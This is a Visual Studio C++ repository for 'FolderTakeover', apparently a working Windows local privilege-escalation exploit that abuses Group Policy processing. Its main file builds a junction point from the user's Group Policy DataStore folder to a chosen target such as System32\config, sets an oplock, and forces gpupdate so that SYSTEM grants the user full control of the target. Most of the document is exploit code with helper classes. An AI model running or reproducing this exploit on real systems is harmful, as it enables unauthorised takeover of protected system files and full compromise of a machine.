├── .gitattributes ├── FolderTakeover.sln └── FolderTakeover ├── CommonUtils.cpp ├── CommonUtils.h ├── FileOpLock.cpp ├── FileOpLock.h ├── FolderTakeover.cpp ├── FolderTakeover.vcxproj ├── FolderTakeover.vcxproj.filters ├── FolderTakeover.vcxproj.user ├── ntimports.h ├── stdafx.cpp ├── stdafx.h ├── targetver.h └── typed_buffer.h /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /FolderTakeover.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29806.167 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FolderTakeover", "FolderTakeover\FolderTakeover.vcxproj", "{24E8043C-B239-4821-9483-AD45C929B0F7}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Release|x86 = Release|x86 11 | EndGlobalSection 12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 13 | {24E8043C-B239-4821-9483-AD45C929B0F7}.Release|x86.ActiveCfg = Release|Win32 14 | {24E8043C-B239-4821-9483-AD45C929B0F7}.Release|x86.Build.0 = Release|Win32 15 | EndGlobalSection 16 | GlobalSection(SolutionProperties) = preSolution 17 | HideSolutionNode = FALSE 18 | EndGlobalSection 19 | GlobalSection(ExtensibilityGlobals) = postSolution 20 | SolutionGuid = {9F3160EC-049C-41F8-8DDF-00D82C02F184} 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /FolderTakeover/CommonUtils.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include "CommonUtils.h" 17 | #include 18 | #include "ntimports.h" 19 | 20 | void __stdcall my_puts(const char* str) 21 | { 22 | fwrite(str, 1, strlen(str), stdout); 23 | } 24 | 25 | static console_output _pout = my_puts; 26 | 27 | void DebugSetOutput(console_output pout) 28 | { 29 | _pout = pout; 30 | } 31 | 32 | void DebugPrintf(const char* lpFormat, ...) 33 | { 34 | CHAR buf[1024]; 35 | va_list va; 36 | 37 | va_start(va, lpFormat); 38 | 39 | StringCbVPrintfA(buf, sizeof(buf), lpFormat, va); 40 | 41 | _pout(buf); 42 | } 43 | 44 | std::wstring GetErrorMessage(DWORD dwError) 45 | { 46 | LPWSTR pBuffer = NULL; 47 | 48 | DWORD dwSize = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | 49 | FORMAT_MESSAGE_ALLOCATE_BUFFER, 0, dwError, 0, (LPWSTR)&pBuffer, 32 * 1024, nullptr); 50 | 51 | if (dwSize > 0) 52 | { 53 | std::wstring ret = pBuffer; 54 | 55 | LocalFree(pBuffer); 56 | 57 | return ret; 58 | } 59 | else 60 | { 61 | printf("Error getting message %d\n", GetLastError()); 62 | WCHAR buf[64]; 63 | StringCchPrintf(buf, _countof(buf), L"%d", dwError); 64 | return buf; 65 | } 66 | } 67 | 68 | std::wstring GetErrorMessage() 69 | { 70 | return GetErrorMessage(GetLastError()); 71 | } 72 | 73 | 74 | BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) 75 | { 76 | TOKEN_PRIVILEGES tp; 77 | LUID luid; 78 | 79 | if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) 80 | { 81 | return FALSE; 82 | } 83 | 84 | tp.PrivilegeCount = 1; 85 | tp.Privileges[0].Luid = luid; 86 | if (bEnablePrivilege) 87 | { 88 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 89 | } 90 | else 91 | { 92 | tp.Privileges[0].Attributes = 0; 93 | } 94 | 95 | if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) 96 | { 97 | return FALSE; 98 | } 99 | 100 | if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) 101 | { 102 | return FALSE; 103 | } 104 | 105 | return TRUE; 106 | } 107 | 108 | DWORD NtStatusToDosError(NTSTATUS status) 109 | { 110 | DEFINE_NTDLL(RtlNtStatusToDosError); 111 | return fRtlNtStatusToDosError(status); 112 | } 113 | 114 | void SetNtLastError(NTSTATUS status) 115 | { 116 | SetLastError(NtStatusToDosError(status)); 117 | } 118 | 119 | FARPROC GetProcAddressNT(LPCSTR lpName) 120 | { 121 | return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName); 122 | } 123 | 124 | HANDLE OpenFileNative(LPCWSTR path, HANDLE root, ACCESS_MASK desired_access, ULONG share_access, ULONG open_options) 125 | { 126 | UNICODE_STRING name = { 0 }; 127 | OBJECT_ATTRIBUTES obj_attr = { 0 }; 128 | 129 | DEFINE_NTDLL(RtlInitUnicodeString); 130 | DEFINE_NTDLL(NtOpenFile); 131 | 132 | if (path) 133 | { 134 | fRtlInitUnicodeString(&name, path); 135 | InitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE, root, nullptr); 136 | } 137 | else 138 | { 139 | InitializeObjectAttributes(&obj_attr, nullptr, OBJ_CASE_INSENSITIVE, root, nullptr); 140 | } 141 | 142 | HANDLE h = nullptr; 143 | IO_STATUS_BLOCK io_status = { 0 }; 144 | NTSTATUS status = fNtOpenFile(&h, desired_access, &obj_attr, &io_status, share_access, open_options); 145 | if (NT_SUCCESS(status)) 146 | { 147 | return h; 148 | } 149 | else 150 | { 151 | SetNtLastError(status); 152 | return nullptr; 153 | } 154 | } 155 | 156 | std::wstring BuildFullPath(const std::wstring& path, bool native) 157 | { 158 | std::wstring ret; 159 | WCHAR buf[MAX_PATH]; 160 | 161 | if (native) 162 | { 163 | ret = L"\\??\\"; 164 | } 165 | 166 | if (GetFullPathName(path.c_str(), MAX_PATH, buf, nullptr) > 0) 167 | { 168 | ret += buf; 169 | } 170 | else 171 | { 172 | ret += path; 173 | } 174 | 175 | return ret; 176 | } -------------------------------------------------------------------------------- /FolderTakeover/CommonUtils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #pragma once 3 | 4 | #include 5 | #include 6 | 7 | typedef void(__stdcall *console_output)(const char*); 8 | 9 | void DebugSetOutput(console_output pout); 10 | void DebugPrintf(const char* lpFormat, ...); 11 | std::wstring GetErrorMessage(DWORD dwError); 12 | std::wstring GetErrorMessage(); 13 | BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege); 14 | DWORD NtStatusToDosError(NTSTATUS status); 15 | bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname); 16 | HANDLE OpenFileNative(LPCWSTR path, HANDLE root, ACCESS_MASK desired_access, ULONG share_access, ULONG open_options); 17 | std::wstring BuildFullPath(const std::wstring& path, bool native); -------------------------------------------------------------------------------- /FolderTakeover/FileOpLock.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include "FileOpLock.h" 17 | #include 18 | 19 | void DebugPrintf(LPCSTR lpFormat, ...); 20 | 21 | FileOpLock::FileOpLock(UserCallback cb): 22 | g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb) 23 | { 24 | g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; 25 | g_inputBuffer.StructureLength = sizeof(g_inputBuffer); 26 | g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE; 27 | g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST; 28 | g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; 29 | g_outputBuffer.StructureLength = sizeof(g_outputBuffer); 30 | } 31 | 32 | 33 | FileOpLock::~FileOpLock() 34 | { 35 | if (g_wait) 36 | { 37 | SetThreadpoolWait(g_wait, nullptr, nullptr); 38 | CloseThreadpoolWait(g_wait); 39 | g_wait = nullptr; 40 | } 41 | 42 | if (g_o.hEvent) 43 | { 44 | CloseHandle(g_o.hEvent); 45 | g_o.hEvent = nullptr; 46 | } 47 | 48 | if (g_hFile != INVALID_HANDLE_VALUE) 49 | { 50 | CloseHandle(g_hFile); 51 | g_hFile = INVALID_HANDLE_VALUE; 52 | } 53 | } 54 | 55 | bool FileOpLock::BeginLock(const std::wstring& filename, DWORD dwShareMode, bool exclusive) 56 | { 57 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); 58 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); 59 | 60 | DWORD flags = FILE_FLAG_OVERLAPPED; 61 | 62 | if (GetFileAttributesW(filename.c_str()) & FILE_ATTRIBUTE_DIRECTORY) 63 | { 64 | flags |= FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT; 65 | } 66 | 67 | g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, 68 | dwShareMode, nullptr, OPEN_EXISTING, 69 | flags, nullptr); 70 | if (g_hFile == INVALID_HANDLE_VALUE) { 71 | DebugPrintf("Error opening file: %d\n", GetLastError()); 72 | return false; 73 | } 74 | 75 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); 76 | if (g_wait == nullptr) 77 | { 78 | DebugPrintf("Error creating threadpool %d\n", GetLastError()); 79 | return false; 80 | } 81 | 82 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); 83 | 84 | DWORD bytesReturned; 85 | 86 | if (exclusive) 87 | { 88 | DeviceIoControl(g_hFile, 89 | FSCTL_REQUEST_OPLOCK_LEVEL_1, 90 | NULL, 0, 91 | NULL, 0, 92 | &bytesReturned, 93 | &g_o); 94 | } 95 | else 96 | { 97 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, 98 | &g_inputBuffer, sizeof(g_inputBuffer), 99 | &g_outputBuffer, sizeof(g_outputBuffer), 100 | nullptr, &g_o); 101 | } 102 | 103 | DWORD err = GetLastError(); 104 | if (err != ERROR_IO_PENDING) { 105 | DebugPrintf("Oplock Failed %d\n", err); 106 | return false; 107 | } 108 | 109 | return true; 110 | } 111 | 112 | FileOpLock* FileOpLock::CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb) 113 | { 114 | FileOpLock* ret = new FileOpLock(cb); 115 | DWORD dwShareMode = 0; 116 | bool exclusive = false; 117 | 118 | if (share_mode.find('r') != std::wstring::npos) 119 | { 120 | dwShareMode |= FILE_SHARE_READ; 121 | } 122 | 123 | if (share_mode.find('w') != std::wstring::npos) 124 | { 125 | dwShareMode |= FILE_SHARE_WRITE; 126 | } 127 | 128 | if (share_mode.find('d') != std::wstring::npos) 129 | { 130 | dwShareMode |= FILE_SHARE_DELETE; 131 | } 132 | 133 | if (share_mode.find('x') != std::wstring::npos) 134 | { 135 | exclusive = true; 136 | } 137 | 138 | if (ret->BeginLock(name, dwShareMode, exclusive)) 139 | { 140 | return ret; 141 | } 142 | else 143 | { 144 | delete ret; 145 | return nullptr; 146 | } 147 | } 148 | 149 | void FileOpLock::WaitForLock(UINT Timeout) 150 | { 151 | WaitForSingleObject(g_hLockCompleted, Timeout); 152 | } 153 | 154 | void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance, 155 | PVOID Parameter, PTP_WAIT Wait, 156 | TP_WAIT_RESULT WaitResult) 157 | { 158 | UNREFERENCED_PARAMETER(Instance); 159 | UNREFERENCED_PARAMETER(Wait); 160 | UNREFERENCED_PARAMETER(WaitResult); 161 | 162 | FileOpLock* lock = reinterpret_cast(Parameter); 163 | 164 | lock->DoWaitCallback(); 165 | } 166 | 167 | void FileOpLock::DoWaitCallback() 168 | { 169 | DWORD dwBytes; 170 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { 171 | DebugPrintf("[!] Oplock Failed\n"); 172 | } 173 | 174 | if (_cb) 175 | { 176 | _cb(); 177 | } 178 | 179 | DebugPrintf("[!] Closing Handle\n"); 180 | CloseHandle(g_hFile); 181 | g_hFile = INVALID_HANDLE_VALUE; 182 | SetEvent(g_hLockCompleted); 183 | } -------------------------------------------------------------------------------- /FolderTakeover/FileOpLock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | class FileOpLock 7 | { 8 | public: 9 | typedef void(*UserCallback)(); 10 | 11 | static FileOpLock* CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb); 12 | void WaitForLock(UINT Timeout); 13 | 14 | ~FileOpLock(); 15 | private: 16 | 17 | HANDLE g_hFile; 18 | OVERLAPPED g_o; 19 | REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer; 20 | REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer; 21 | HANDLE g_hLockCompleted; 22 | PTP_WAIT g_wait; 23 | UserCallback _cb; 24 | 25 | FileOpLock(UserCallback cb); 26 | 27 | static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, 28 | PVOID Parameter, PTP_WAIT Wait, 29 | TP_WAIT_RESULT WaitResult); 30 | 31 | void DoWaitCallback(); 32 | 33 | bool BeginLock(const std::wstring& name, DWORD dwShareMode, bool exclusive); 34 | 35 | }; 36 | 37 | -------------------------------------------------------------------------------- /FolderTakeover/FolderTakeover.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "ntimports.h" 3 | #include "winbase.h" 4 | #include 5 | #include 6 | #include 7 | #include "CommonUtils.h" 8 | #include "FileOpLock.h" 9 | #include 10 | 11 | #pragma comment(lib, "advapi32.lib") 12 | #ifndef UNICODE 13 | typedef std::string String; 14 | #else 15 | typedef std::wstring String; 16 | #endif 17 | 18 | static FileOpLock* oplock = nullptr; 19 | LPTSTR sidstring; 20 | 21 | int getSID() 22 | { 23 | std::wstring username(_wgetenv(L"USERDOMAIN")); 24 | username += L"\\"; 25 | username += _wgetenv(L"USERNAME"); 26 | LPCTSTR wszAccName = username.c_str(); 27 | LPTSTR wszDomainName = (LPTSTR)GlobalAlloc(GPTR, sizeof(TCHAR) * 1024); 28 | DWORD cchDomainName = 1024; 29 | SID_NAME_USE eSidType; 30 | char sid_buffer[1024]; 31 | DWORD cbSid = 1024; 32 | SID* sid = (SID*)sid_buffer; 33 | 34 | if (!LookupAccountName(NULL, wszAccName, sid_buffer, &cbSid, wszDomainName, &cchDomainName, &eSidType)) { 35 | return GetLastError(); 36 | } 37 | 38 | if (!ConvertSidToStringSid(sid, &sidstring)) { 39 | return GetLastError(); 40 | } 41 | 42 | //printf("%ws\n", sidstring); 43 | return 0; 44 | 45 | } 46 | 47 | BOOL DirectoryExists(LPCTSTR szPath) 48 | { 49 | DWORD dwAttrib = GetFileAttributes(szPath); 50 | 51 | return (dwAttrib != INVALID_FILE_ATTRIBUTES && 52 | (dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); 53 | } 54 | 55 | void HandleOplock() 56 | { 57 | wchar_t const* localappdata = _wgetenv(L"ProgramData"); //Path to ProgramData "C:\ProgramData" 58 | wchar_t const* relpath = (L"\\Microsoft\\GroupPolicy\\Users\\"); //First part to the Group Policy "User" folder 59 | wchar_t const* SID = sidstring; //SID of the current user 60 | wchar_t const* Datastore = L"\\DataStore\\0\\sysvol\\$AAAA"; //Second part of the Group Policy "User" folder 61 | 62 | std::wstring junctionpath(localappdata); 63 | junctionpath += std::wstring(relpath); 64 | junctionpath += std::wstring(SID); 65 | junctionpath += std::wstring(Datastore); 66 | RemoveDirectoryW(junctionpath.c_str()); 67 | DebugPrintf("[!] OpLock triggered!\n[!] Press ENTER to close Oplock and trigger vuln!\n"); 68 | getc(stdin); 69 | 70 | } 71 | 72 | bool SetOpLock() { 73 | wchar_t const* programdata = _wgetenv(L"ProgramData"); //Path to LocalAppData "C:\Users\\AppData\Local" 74 | wchar_t const* oplockpath = (L"\\DataStore\\0\\sysvol\\$BBBB\\ohno.txt"); //Location of the bogus file created 75 | wchar_t const* relpath = (L"\\Microsoft\\GroupPolicy\\Users\\"); //Location of the junction point 76 | wchar_t const* SID = sidstring; //user SID 77 | wchar_t const* Datastore = L"\\DataStore\\0\\sysvol\\$AAAA"; 78 | std::wstring junctionpath(programdata); 79 | junctionpath += std::wstring(relpath); 80 | junctionpath += std::wstring(SID); 81 | junctionpath += std::wstring(Datastore); 82 | std::wstring fullpath(programdata); 83 | fullpath += std::wstring(relpath); 84 | fullpath += std::wstring(SID); 85 | fullpath += std::wstring(oplockpath); 86 | LPCWSTR target = fullpath.c_str(); 87 | LPCWSTR share_mode = L""; 88 | 89 | printf("[+] Going to set Oplock on %ws!\n", target); 90 | oplock = FileOpLock::CreateLock(target, share_mode, HandleOplock); 91 | if (oplock != nullptr) 92 | { 93 | printf("\n[!] OpLock set!\n"); 94 | printf("[!] Triggering Oplock!\n"); 95 | if (!system("gpupdate /target:user /force")){ 96 | oplock->WaitForLock(5000); 97 | if (DirectoryExists(junctionpath.c_str())) { 98 | printf("[!] Oplock didn't trigger within the expected time .. aborting!\n"); 99 | printf("[!] Chances are the DACL write process was halted due to a file that didn't allow SYSTEM to write DACL!\n"); 100 | } 101 | else { 102 | printf("[!] You should have 'full control' permission on folders/files within the target folder\n"); 103 | } 104 | 105 | } 106 | 107 | ///Cleanup(); 108 | delete oplock; 109 | } 110 | else 111 | { 112 | printf("Error creating oplock\n"); 113 | return 1; 114 | } 115 | } 116 | 117 | 118 | // Generate an unicode string of length 'len' whose characters are in range [start, end] 119 | wchar_t* generateRandomUnicodeString(size_t len, size_t start, size_t end) 120 | { 121 | wchar_t* ustr = new wchar_t[len + 1]; // +1 for '\0' 122 | size_t intervalLength = end - start + 1; // +1 for inclusive range 123 | 124 | srand(time(NULL)); 125 | for (auto i = 0; i < len; i++) { 126 | ustr[i] = (rand() % intervalLength) + start; 127 | } 128 | ustr[len] = L'\0'; 129 | return ustr; 130 | } 131 | 132 | void gimmeroot(_TCHAR* targetpath) { 133 | wchar_t const* localappdata = _wgetenv(L"ProgramData"); //Path to ProgramData "C:\ProgramData" 134 | wchar_t const* relpath = (L"\\Microsoft\\GroupPolicy\\Users\\"); //Location of the group policy datastore 135 | wchar_t const* SID = sidstring; 136 | wchar_t const* Datastore = L"\\DataStore"; 137 | wchar_t* file = generateRandomUnicodeString(10, 0x0041, 0x005A); //random foldername 138 | std::wstring fullpath(localappdata); 139 | fullpath += std::wstring(relpath); 140 | fullpath += std::wstring(SID); 141 | fullpath += std::wstring(Datastore); 142 | TCHAR* szBuffsrc = (wchar_t*)fullpath.c_str(); 143 | int newdir = 0; 144 | 145 | printf("[+] Checking if folder exists ... \n"); 146 | if (!DirectoryExists(szBuffsrc)) { 147 | char command[1024]; 148 | wchar_t const* fp = (L"\\0\\sysvol"); 149 | std::wstring fullpath2; 150 | fullpath2 += std::wstring(fullpath); 151 | fullpath2 += std::wstring(fp); 152 | printf("[+] Didn't exist ... going to create it for you!\n"); 153 | printf("[+] Creating %ws!\n",fullpath2.c_str()); 154 | sprintf(command, "mkdir %ws", fullpath2.c_str()); 155 | system(command); 156 | newdir = 1; 157 | } 158 | 159 | if (DirectoryExists(szBuffsrc)) { 160 | char command_move[1024]; 161 | char command_jp[1024]; 162 | char command_cr[1024]; 163 | char command_di[1024]; 164 | char command_fc[1024]; 165 | std::wstring fullpathmove(fullpath); 166 | fullpathmove += std::wstring(file); 167 | if (!newdir) { 168 | printf("[+] Recreating directory structure\n"); 169 | wchar_t const* fp = (L"\\0\\sysvol"); 170 | std::wstring fullpath2; 171 | fullpath2 += std::wstring(fullpath); 172 | fullpath2 += std::wstring(fp); 173 | printf("[+] Disabling inherited ACL and taking 'Full Control'!\n"); 174 | sprintf(command_di, "icacls %ws /inheritance:r /grant:r %%USERDOMAIN%%\\%%USERNAME%%:(OI)(CI)(F)", fullpath2.c_str()); 175 | system(command_di); 176 | } 177 | 178 | printf("[+] Creating bogus directories...\n"); 179 | std::wstring newfullpath(fullpath); 180 | newfullpath += std::wstring(file); 181 | TCHAR* szBuffdst = (wchar_t*)newfullpath.c_str(); 182 | wchar_t const* one = (L"\\0\\sysvol\\$AAAA"); //bogus directory 1 183 | wchar_t const* two = (L"\\0\\sysvol\\$BBBB"); //bogus directory 2 184 | std::wstring dir1(fullpath); 185 | std::wstring dir2(fullpath); 186 | dir1 += std::wstring(one); 187 | dir2 += std::wstring(two); 188 | std::wstring junctionpoint; 189 | printf("[+] Attempting to create junction point!\n"); 190 | sprintf(command_jp, "mklink /j %ws \"%ws\"", dir1.c_str(), targetpath); 191 | if (system(command_jp)) //create bogus directory 1 192 | { 193 | printf("[+] Directory Junction $AAAA failed!\n"); 194 | //cleanup(); 195 | exit(0); 196 | } 197 | if (!CreateDirectory(dir2.c_str(), NULL)) //create bogus directory 2 198 | { 199 | printf("[+] Directory Creation $BBBB failed!\n"); 200 | if (DirectoryExists(dir2.c_str())) { 201 | printf("[+] Directory $BBBB already exists! Moving on...\n"); 202 | } 203 | else { 204 | exit(0); 205 | } 206 | 207 | } 208 | else { 209 | wchar_t const* file = (L"\\ohno.txt"); //bogus filename 210 | dir2 += std::wstring(file); 211 | HANDLE hfile = CreateFile( 212 | dir2.c_str(), // Notice the L for a wide char literal 213 | GENERIC_READ, 214 | 0, 215 | NULL, 216 | CREATE_NEW, 217 | FILE_ATTRIBUTE_NORMAL, 218 | NULL); 219 | CloseHandle(hfile); 220 | } 221 | } 222 | } 223 | 224 | int _tmain(int argc, _TCHAR* argv[]) 225 | { 226 | 227 | if (argc < 2) { 228 | printf("# Privileged DACL Overwrite EoP\n"); 229 | printf("# CVE: CVE-2020-XXXX \n"); 230 | printf("# Exploit Author: Nabeel Ahmed (@rogue_kdc)\n"); 231 | printf("# Tested on: Microsoft Windows 10 WIP FAST RING Build 19631.1 x64\n"); 232 | printf("# Category: Local\n"); 233 | printf("-------------------------------------------------\n"); 234 | printf("[+] Usage: exploit.exe \n"); 235 | printf("[+] (E.g., exploit.exe C:\\Windows\\System32\\config\n"); 236 | printf("-------------------------------------------------\n"); 237 | } 238 | else { 239 | try { 240 | if (argc < 3) { 241 | printf("# Privileged DACL Overwrite EoP\n"); 242 | printf("# CVE: CVE-2020-XXXX \n"); 243 | printf("# Exploit Author: Nabeel Ahmed (@rogue_kdc)\n"); 244 | printf("# Tested on: Microsoft Windows 10 WIP FAST RING Build 19631.1 x64\n"); 245 | printf("# Category: Local\n"); 246 | printf("-------------------------------------------------\n"); 247 | printf("\n"); 248 | printf("\n"); 249 | getSID(); 250 | gimmeroot(argv[1]); 251 | SetOpLock(); 252 | } 253 | 254 | } 255 | catch (...) { 256 | 257 | } 258 | } 259 | 260 | 261 | exit(0); 262 | } 263 | 264 | 265 | 266 | 267 | 268 | -------------------------------------------------------------------------------- /FolderTakeover/FolderTakeover.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {24E8043C-B239-4821-9483-AD45C929B0F7} 24 | Win32Proj 25 | FolderTakeover 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | v142 32 | Unicode 33 | false 34 | true 35 | 36 | 37 | Application 38 | false 39 | v142 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v142 47 | Unicode 48 | 49 | 50 | Application 51 | false 52 | v142 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | false 76 | 77 | 78 | true 79 | 80 | 81 | false 82 | 83 | 84 | false 85 | 86 | 87 | 88 | Use 89 | Level3 90 | 91 | 92 | _DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 93 | true 94 | MultiThreaded 95 | true 96 | false 97 | 98 | 99 | Console 100 | DebugFull 101 | 102 | 103 | 104 | 105 | 106 | 107 | Level3 108 | true 109 | _DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 110 | true 111 | 112 | 113 | Console 114 | true 115 | 116 | 117 | 118 | 119 | Use 120 | Level3 121 | true 122 | true 123 | 124 | 125 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 126 | true 127 | 128 | MultiThreaded 129 | 130 | 131 | Console 132 | true 133 | true 134 | true 135 | 136 | 137 | 138 | 139 | Use 140 | Level3 141 | true 142 | true 143 | true 144 | NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 145 | true 146 | 147 | 148 | Console 149 | true 150 | true 151 | true 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | Create 160 | Create 161 | Create 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | -------------------------------------------------------------------------------- /FolderTakeover/FolderTakeover.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | -------------------------------------------------------------------------------- /FolderTakeover/FolderTakeover.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | C:\temp\testing 5 | WindowsLocalDebugger 6 | 7 | -------------------------------------------------------------------------------- /FolderTakeover/ntimports.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #define DIRECTORY_QUERY 0x0001 7 | #define DIRECTORY_TRAVERSE 0x0002 8 | #define DIRECTORY_CREATE_OBJECT 0x0004 9 | #define DIRECTORY_CREATE_SUBDIRECTORY 0x0008 10 | #define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) 11 | 12 | typedef NTSTATUS(NTAPI *_NtCreateDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 13 | typedef NTSTATUS(NTAPI *_NtCreateDirectoryObjectEx)(PHANDLE Handle, ACCESS_MASK DesiredAccess, 14 | POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ShadowDir, BOOLEAN Something); 15 | typedef NTSTATUS(NTAPI *_NtOpenDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 16 | typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); 17 | 18 | #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) 19 | 20 | typedef NTSTATUS(NTAPI* _NtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName); 21 | typedef NTSTATUS(NTAPI* _NtOpenSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 22 | typedef NTSTATUS(NTAPI* _NtQuerySymbolicLinkObject)(HANDLE LinkHandle, PUNICODE_STRING LinkTarget, PULONG ReturnedLength); 23 | typedef NTSTATUS(NTAPI* _NtOpenFile)( 24 | _Out_ PHANDLE FileHandle, 25 | _In_ ACCESS_MASK DesiredAccess, 26 | _In_ POBJECT_ATTRIBUTES ObjectAttributes, 27 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 28 | _In_ ULONG ShareAccess, 29 | _In_ ULONG OpenOptions 30 | ); 31 | 32 | const ULONG FileLinkInformation = 11; 33 | 34 | typedef struct 